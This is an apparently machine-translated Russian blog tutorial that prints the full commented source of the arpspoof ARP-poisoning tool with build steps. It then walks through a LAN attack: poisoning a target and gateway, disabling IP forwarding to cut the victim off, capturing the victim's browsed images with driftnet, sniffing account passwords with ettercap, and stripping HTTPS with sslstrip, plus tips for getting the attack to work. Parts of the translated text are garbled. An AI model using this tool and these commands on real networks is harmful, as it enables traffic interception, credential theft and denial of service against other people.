Всем привет, мы снова встретились, я ваш друг Цюаньчжаньцзюнь.
Включенная информация: тип, длина, операция, адрес отправителя, адрес назначения.
sudo apt-get source dsniff
sudo apt-get install libnet1
sudo apt-get install libpcap-dev
sudo apt-get install libnet1-dev
/* * arpspoof.c * * Redirect packets from a target host (or from all hosts) intended for * another host on the LAN to ourselves. * * Copyright (c) 1999 Dug Song <dugsong@monkey.org> * * $Id: arpspoof.c,v 1.5 2001/03/15 08:32:58 dugsong Exp $ * * Improved 2011 by Stefan Tomanek <stefa@pico.ruhr.de> */
//#include "config.h"
#include <sys/types.h> //Основные типы данных системы
/*Содержит caddr_t clock_t comp_t dev_t fd_set fpos_t gid_t ino_t off_t mode_t pid_t ptrdiff_t rlim_t size_t ssize_t time_t uid_t wchar_t*/
#include <sys/param.h>
#include <sys/socket.h> //Объявления функций и определения структур, связанных с сокетами
/*SOCKET_STREAM: потоковый сокет SOCKET_DGRAM: сокет дейтаграммы SOCKET_RAW: необработанный сокет Создайте сокет: сокет() Привяжите локальный порт:bind() Установите соединение: Connect(), Accept(). Порт прослушивания: прослушивать() Передача данных: send(), Recv(). Мультиплексирование ввода/вывода: select() Закройте сокет: closesocket() */
/*Используя директиву #ifdef, мы можем отличить некоторые заголовочные файлы и библиотеки от конкретных. Код, связанный с другими версиями файлов, для повышения универсальности программы. */
#ifdef BSD
#include <sys/sysctl.h> //файл заголовка функции sysctl
#include <net/if_dl.h>
#include <net/route.h>
#ifdef __FreeBSD__ /* XXX */
#define ether_addr_octet octet //Определение сетевого байтового адреса
#endif
#else /* !BSD */
#include <sys/ioctl.h> //Объявление функции, связанной с операциями управления вводом/выводом, например ioctl()
#ifndef __linux__
#include <sys/sockio.h>
#endif
#endif /* !BSD */
#include <net/if.h>
#include <netinet/in_systm.h>
#include <netinet/in.h> //Определение макроса порта, известный ip (loopback), структура sockaddr_in..
/*Сетевое преобразование байтов (ntoh, hton...), широко используемое. */
#include <netinet/if_ether.h> //Структура данных ether_arp
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h> //Имя заголовочного файла, обеспечивающего доступ к API операционной системы POSIX.
#include <string.h>
//#include "config.h"
//#include <sys/types.h>
//#include <sys/param.h>
//#include <netinet/in.h>
//#include <stdio.h>
//#include <string.h>
#include <signal.h> //Часть обработки сигналов в стандартной библиотеке функций C определяет, как обрабатывать различные сигналы при выполнении программы.
#include <err.h>
#include <libnet.h> //libnet Это небольшая библиотека функций интерфейса, в основном используемая C Написанный на этом языке, он обеспечивает функции построения, обработки и отправки низкоуровневых сетевых пакетов данных.
#include <pcap.h> //Эта библиотека захвата пакетов обеспечивает высокоуровневый интерфейс для системы захвата пакетов. С помощью этого механизма можно перехватить все пакеты данных в сети.
#ifndef _ARP_H_
#define _ARP_H_
#include <net/ethernet.h> //Включает несколько структур данных Ethernet, ether_addr (структура кадра Mac),
/*ether_header (заголовок кадра Ethernet)*/
/*Объявляем функцию для поиска таблицы кэша ARP*/
int arp_cache_lookup(in_addr_t ip, struct ether_addr *ether, const char* linf);
#endif
//#include "arp.h"
//#include "version.h"
#ifdef BSD //Реализация функции arp_cache_lookup в системе BSD
/*ip — найти значение IP */
int
arp_cache_lookup(in_addr_t ip, struct ether_addr *ether, const char* linf)
{
int mib[6];
size_t len; //длина
char *buf, *next, *end; //Кэш, следующий, последний
struct rt_msghdr *rtm; //структура rt_msghdr
struct sockaddr_inarp *sin; //sockaddr_in Это адресная форма сокета в среде Интернета.
struct sockaddr_dl *sdl;
mib[0] = CTL_NET;
mib[1] = AF_ROUTE;
mib[2] = 0;
mib[3] = AF_INET; // Тип сокета для сетевого протокола IPv4
mib[4] = NET_RT_FLAGS;
mib[5] = RTF_LLINFO;
/*Прототип функции: int sysctl(const int *name,u_int namelen,void *oldp, size_t *oldlenp,const void *newp,size_t newlen); Функция sysctl извлекает системную информацию и позволяет соответствующему процессу устанавливать системную информацию. Она может получать целые числа, строки и т. д. Информация о таблице, информация может быть сброшена через интерфейс командной строки sysctl. Установив для параметра oldp значение NULL и вызвав функцию sysctl, вы можете установить размер доступных данных. Возвращается местоположение, указанное oldlenp. Если новое значение не установлено, для newp должно быть установлено значение NULL, а для nwelen — 0. */
/*функция sysctl не работает и возвращает -1*/
if (sysctl(mib, 6, NULL, &len, NULL, 0) < 0)
return (-1);
/*не удалось выделить буфер, вернуть -1*/
if ((buf = (char *)malloc(len)) == NULL)
return (-1);
/*Устанавливаем для параметра oldp значение buf*/
if (sysctl(mib, 6, buf, &len, NULL, 0) < 0) {
free(buf);
return (-1);
}
end = buf + len; //Устанавливаем конечную позицию указателя
/*следующий указатель начинает перемещаться от buf до конца,Размер шагаrtm->rtm_msglen */
for (next = buf ; next < end ; next += rtm->rtm_msglen) {
rtm = (struct rt_msghdr *)next; //Устанавливаем значения указателей rtm, sin, sdl
sin = (struct sockaddr_inarp *)(rtm + 1);
sdl = (struct sockaddr_dl *)(sin + 1);
/*Если s_addr и значение IP-адреса поиска равны и sdl_alen не равен 0*/
if (sin->sin_addr.s_addr == ip && sdl->sdl_alen) {
//Устанавливаем все значения ether_addr_octet в LLADDR(sdl)
memcpy(ether->ether_addr_octet, LLADDR(sdl),
ETHER_ADDR_LEN);
free(buf); //Освобождаем пространство кэша
return (0);
}
}
free(buf); //Освобождаем пространство кэша
return (-1);
}
#else /* !BSD */ //Функция поиска в кэше ARP других систем, отличных от BSD
#ifndef ETHER_ADDR_LEN /* XXX - Solaris */
#define ETHER_ADDR_LEN 6
#endif
int
arp_cache_lookup(in_addr_t ip, struct ether_addr *ether, const char* lif)
{
int sock;
struct arpreq ar;
struct sockaddr_in *sin;
memset((char *)&ar, 0, sizeof(ar));
#ifdef __linux__
strncpy(ar.arp_dev, lif, strlen(lif));
#endif
sin = (struct sockaddr_in *)&ar.arp_pa;
sin->sin_family = AF_INET;
sin->sin_addr.s_addr = ip;
/*Прототип функции: int socket(int domain,int type,int protocol) домен: тип протокола, обычно AF_INET Тип: тип розетки протокол: используется для указания номера протокола передачи, используемого сокетом, обычно установленного в 0*/
if ((sock = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
return (-1);
}
if (ioctl(sock, SIOCGARP, (caddr_t)&ar) == -1) {
close(sock);
return (-1);
}
close(sock);
//Устанавливаем все значения ether_addr_octec в ar.arp_ha.sa_data
memcpy(ether->ether_addr_octet, ar.arp_ha.sa_data, ETHER_ADDR_LEN);
return (0);
}
#endif /* !BSD */
extern char *ether_ntoa(struct ether_addr *);
/*Определение структуры хоста, включая IP-адрес и MAC-адрес*/
struct host {
in_addr_t ip;
struct ether_addr mac;
};
#define VERSION "version"
static libnet_t *l;
static struct host spoof = {
0}; //обманчивый хост
static struct host *targets; // хост назначения
static char *intf;
static int poison_reverse;
static uint8_t *my_ha = NULL;
static uint8_t *brd_ha = "\xff\xff\xff\xff\xff\xff";
static int cleanup_src_own = 1;
static int cleanup_src_host = 0;
static void
usage(void) //arpspoof использует функцию инструкции для печати предложения
{
fprintf(stderr, "Version: " VERSION "\n"
"Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host\n");
exit(1);
}
/*Функция для отправки arp-пакета, Параметр 1: интерфейс канального уровня libnet, через который можно управлять канальным уровнем. Параметр 2: arpop, чтобы указать работу пакета arp, Параметр 3: локальный аппаратный адрес, Параметр 4: локальный IP, Параметр 5: Аппаратный адрес назначения, Параметр 6: IP-адрес назначения, Параметр 7: Мой аппаратный адрес. */
static int
arp_send(libnet_t *l, int op,
u_int8_t *sha, in_addr_t spa,
u_int8_t *tha, in_addr_t tpa,
u_int8_t *me)
{
int retval;
if (!me) me = sha;
/*libnet_autobuild_arp функция, функция состоит в создании пакета данных arp */
libnet_autobuild_arp(op, sha, (u_int8_t *)&spa,
tha, (u_int8_t *)&tpa, l);
/*функция libnet_build_ethernet, эта функция предназначена для создания пакета данных Ethernet*/
libnet_build_ethernet(tha, me, ETHERTYPE_ARP, NULL, 0, l, 0);
//Выходной сетевой адрес
fprintf(stderr, "%s ",
ether_ntoa((struct ether_addr *)me));
/*Здесь if и else — обработка эха (то есть та часть, которую видят все)*/
if (op == ARPOP_REQUEST) {
fprintf(stderr, "%s 0806 42: arp who-has %s tell %s\n",
ether_ntoa((struct ether_addr *)tha),
libnet_addr2name4(tpa, LIBNET_DONT_RESOLVE),
libnet_addr2name4(spa, LIBNET_DONT_RESOLVE));
}
else {
fprintf(stderr, "%s 0806 42: arp reply %s is-at ",
ether_ntoa((struct ether_addr *)tha),
libnet_addr2name4(spa, LIBNET_DONT_RESOLVE));
fprintf(stderr, "%s\n",
ether_ntoa((struct ether_addr *)sha));
}
retval = libnet_write(l);
if (retval)
fprintf(stderr, "%s", libnet_geterror(l));
libnet_clear_packet(l);
return retval;
}
#ifdef __linux__ //функция arp_force в Linux
static int
arp_force(in_addr_t dst)
{
struct sockaddr_in sin;
int i, fd;
if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
return (0);
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = dst;
sin.sin_port = htons(67);
i = sendto(fd, NULL, 0, 0, (struct sockaddr *)&sin, sizeof(sin));
close(fd);
return (i == 0);
}
#endif
/*функция arp_find, поиск таблицы arp*/
static int
arp_find(in_addr_t ip, struct ether_addr *mac)
{
int i = 0;
do {
if (arp_cache_lookup(ip, mac, intf) == 0)
return (1);
#ifdef __linux__
/* XXX - force the kernel to arp. feh. */
arp_force(ip);
#else
arp_send(l, ARPOP_REQUEST, NULL, 0, NULL, ip, NULL);
#endif
sleep(1);
}
/*Отправляем пакет еще раз 3 раза при условии, что локальное сетевое устройство существует, Оставьте буферное время*/
while (i++ < 3);
return (0);
}
//Находим все целевые арпы
static int arp_find_all() {
struct host *target = targets;
while(target->ip) {
if (arp_find(target->ip, &target->mac)) {
return 1;
}
target++;
}
return 0;
}
static void
cleanup(int sig)
{
int fw = arp_find(spoof.ip, &spoof.mac);
int bw = poison_reverse && targets[0].ip && arp_find_all();
int i;
int rounds = (cleanup_src_own*5 + cleanup_src_host*5);
fprintf(stderr, "Cleaning up and re-arping targets...\n");
for (i = 0; i < rounds; i++) {
struct host *target = targets;
while(target->ip) {
uint8_t *src_ha = NULL;
if (cleanup_src_own && (i%2 || !cleanup_src_host)) {
src_ha = my_ha;
}
/* XXX - on BSD, requires ETHERSPOOF kernel. */
/*Комментарий выше был добавлен автором исходного кода. Это означает, что в системах BSD требуются сторонние модули ядра ETHERSPOOF*/
if (fw) {
arp_send(l, ARPOP_REPLY,
(u_int8_t *)&spoof.mac, spoof.ip,
(target->ip ? (u_int8_t *)&target->mac : brd_ha),
target->ip,
src_ha);
/* we have to wait a moment before sending the next packet */
sleep(1);
}
if (bw) {
arp_send(l, ARPOP_REPLY,
(u_int8_t *)&target->mac, target->ip,
(u_int8_t *)&spoof.mac,
spoof.ip,
src_ha);
sleep(1);
}
target++;
}
}
exit(0);
}
int
main(int argc, char *argv[])
{
extern char *optarg;
extern int optind;
char pcap_ebuf[PCAP_ERRBUF_SIZE];
char libnet_ebuf[LIBNET_ERRBUF_SIZE];
int c;
int n_targets;
char *cleanup_src = NULL;
spoof.ip = 0;
intf = NULL;
poison_reverse = 0;
n_targets = 0;
/* allocate enough memory for target list */
targets = calloc( argc+1, sizeof(struct host) );
/*функция getopt: используется специально для обработки параметров функции. Использование: argc и argv берутся непосредственно из параметров main. Третий параметр описывает требования к команде для всех параметров программы. Сначала мы можем понять конкретное использование, требующее, чтобы два параметра i и t имели значения. Затем, если существуют определенные параметры-значения, значение будет передано в глобальную переменную optarg, чтобы мы могли понять операции в следующем цикле while. */
while ((c = getopt(argc, argv, "ri:t:c:h?V")) != -1) {
switch (c) {
case 'i':
intf = optarg;
break;
// libnet_name2addr4 анализирует доменное имя, а затем формирует IP-адрес разрешения доменного имени и возвращает его в target_ip
case 't':
if ((targets[n_targets++].ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
usage();
break;
case 'r':
poison_reverse = 1;
break;
case 'c':
cleanup_src = optarg;
break;
default:
usage();
}
}
argc -= optind;
argv += optind;
if (argc != 1)
usage();
if (poison_reverse && !n_targets) {
errx(1, "Spoofing the reverse path (-r) is only available when specifying a target (-t).");
usage();
}
if (!cleanup_src || strcmp(cleanup_src, "own")==0) { /* default! */
/* only use our own hw address when cleaning up, * not jeopardizing any bridges on the way to our * target */
cleanup_src_own = 1;
cleanup_src_host = 0;
} else if (strcmp(cleanup_src, "host")==0) {
/* only use the target hw address when cleaning up; * this can screw up some bridges and scramble access * for our own host, however it resets the arp table * more reliably */
cleanup_src_own = 0;
cleanup_src_host = 1;
} else if (strcmp(cleanup_src, "both")==0) {
cleanup_src_own = 1;
cleanup_src_host = 1;
} else {
errx(1, "Invalid parameter to -c: use 'own' (default), 'host' or 'both'.");
usage();
}
if ((spoof.ip = libnet_name2addr4(l, argv[0], LIBNET_RESOLVE)) == -1)
usage();
/*pcap_lookupdev Как следует из названия, функция в этой библиотеке pcap используется для поиска доступных сетевых устройств на локальном компьютере. Следующий оператор if вызывает pcap_lookupdev для поиска локального сетевого устройства, если intf (параметр -i пуст) ebuf — это error_buf, используемый для хранения информации об ошибках. */
if (intf == NULL && (intf = pcap_lookupdev(pcap_ebuf)) == NULL)
errx(1, "%s", pcap_ebuf);
/*libnet_init Эта функция существует в библиотеке libnet. Ее функция — открыть устройство сетевого подключения, на которое указывает intf. Информация об ошибках хранится в libnet_ebuf. */
if ((l = libnet_init(LIBNET_LINK, intf, libnet_ebuf)) == NULL)
errx(1, "%s", libnet_ebuf);
struct host *target = targets;
/*Следующий оператор означает, что если target_ip равен 0 или arp_find не может найти target_ip Затем появляется сообщение об ошибке. */
while(target->ip) {
if (target->ip != 0 && !arp_find(target->ip, &target->mac))
errx(1, "couldn't arp for host %s",
libnet_addr2name4(target->ip, LIBNET_DONT_RESOLVE));
target++;
}
if (poison_reverse) {
if (!arp_find(spoof.ip, &spoof.mac)) {
errx(1, "couldn't arp for spoof host %s",
libnet_addr2name4(spoof.ip, LIBNET_DONT_RESOLVE));
}
}
if ((my_ha = (u_int8_t *)libnet_get_hwaddr(l)) == NULL) {
errx(1, "Unable to determine own mac address");
}
//Проблемы обработки сигналов
signal(SIGHUP, cleanup);
signal(SIGINT, cleanup);
signal(SIGTERM, cleanup);
printf("PB13206106,Luo Yongguan");
/*В этом цикле for мы видим основной модуль, который хотим видеть, Функция arp_send используется для отправки поддельных пакетов ARP. */
for (;;) {
struct host *target = targets;
while(target->ip) {
arp_send(l, ARPOP_REPLY, my_ha, spoof.ip,
(target->ip ? (u_int8_t *)&target->mac : brd_ha),
target->ip,
my_ha);
if (poison_reverse) {
arp_send(l, ARPOP_REPLY, my_ha, target->ip, (uint8_t *)&spoof.mac, spoof.ip, my_ha);
}
target++;
}
sleep(2);
}
/* NOTREACHED */
exit(0);
}
gcc arpspoof.c -lnet -lpcap -o arpspoof
Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host
arp -a
,Запросите IP-адреса и соответствующие физические MAC-адреса всех интерфейсов:Выше показаны IP-адреса всех хостов в локальной сети, соответствующих интерфейсу 172.20.10.4, среди которых 172.20.10.11 — атакующий хост, а 172.20.10.12 — атакуемый хост.
fping -asg 172.20.10.0/27
для просмотра172.20.10.0Все оставшиеся хосты в сегменте LAN:
./arpspoof -i eth0 -t 172.20.10.12 172.20.10.1
./arpspoof -i eth0 -t 172.20.10.1 172.20.10.12
driftnet
echo 0 > /proc/sys/net/ipv4/ip_forward
arpspoof: couldn't arp for host
,Возможные причины:,Ошибка настройки IP-адреса шлюза,использоватьfping -asg [сегмент локальной сети]
Шлюз запросовIPадрес;
2. Когда решение все еще не может быть решено,
arpspoof -i eth0 -t 【Атакованный IP】 【IP-адрес шлюза】
arpspoof -i eth0 -t 【IP-адрес шлюза】 【Атакованный IP】
Оба должны быть казнены.
Объяснение команды -i eth0 -t IP1 IP2
Подделайте ip2 и сообщите IP2, что IP вашего компьютера — IP1.
Проанализировав это таким образом, вы поймете подмену ARP.
3. Неправильные настройки сетевой карты виртуальной машины также могут привести к сбою атаки. Это может быть связано с тем, что сетевой режим виртуальной машины по умолчанию установлен в сеть. В этом случае IP-адрес атакующей машины и целевой IP-адрес не находятся в одном диапазоне номеров, поэтому. их невозможно обмануть. Просто установите режим моста в настройках сетевой карты виртуальной машины.
sudo apt-get install driftnet
。driftnet
Фотографии, просматриваемые атакованным хостом на Baidu Tieba, были перехвачены.
ettercap -Tq -i eth0
。(Получите пароли учетных записей из сетевого трафика,-T отображается в текстовом режиме,q находится в тихом режиме)sslstrip -a -f -k
,использоватьsslstripУстановите пакет перед командой:sudo apt-get install sslstrip
。[1] http://www.freebuf.com/sectool/87293.html [2] http://www.freebuf.com/articles/network/74700.html [3] https://www.douban.com/group/topic/15558388/ [4] http://www.bingdun.com/news/security/9591.htm
Заявление об авторских правах: Содержание этой статьи добровольно предоставлено пользователями Интернета, а мнения, выраженные в этой статье, представляют собой только точку зрения автора. Данный сайт лишь предоставляет услуги по хранению информации, не имеет никаких прав собственности и не несет соответствующей юридической ответственности. Если вы обнаружите на этом сайте какое-либо подозрительное нарушение авторских прав/незаконный контент, отправьте электронное письмо, чтобы сообщить. После проверки этот сайт будет немедленно удален.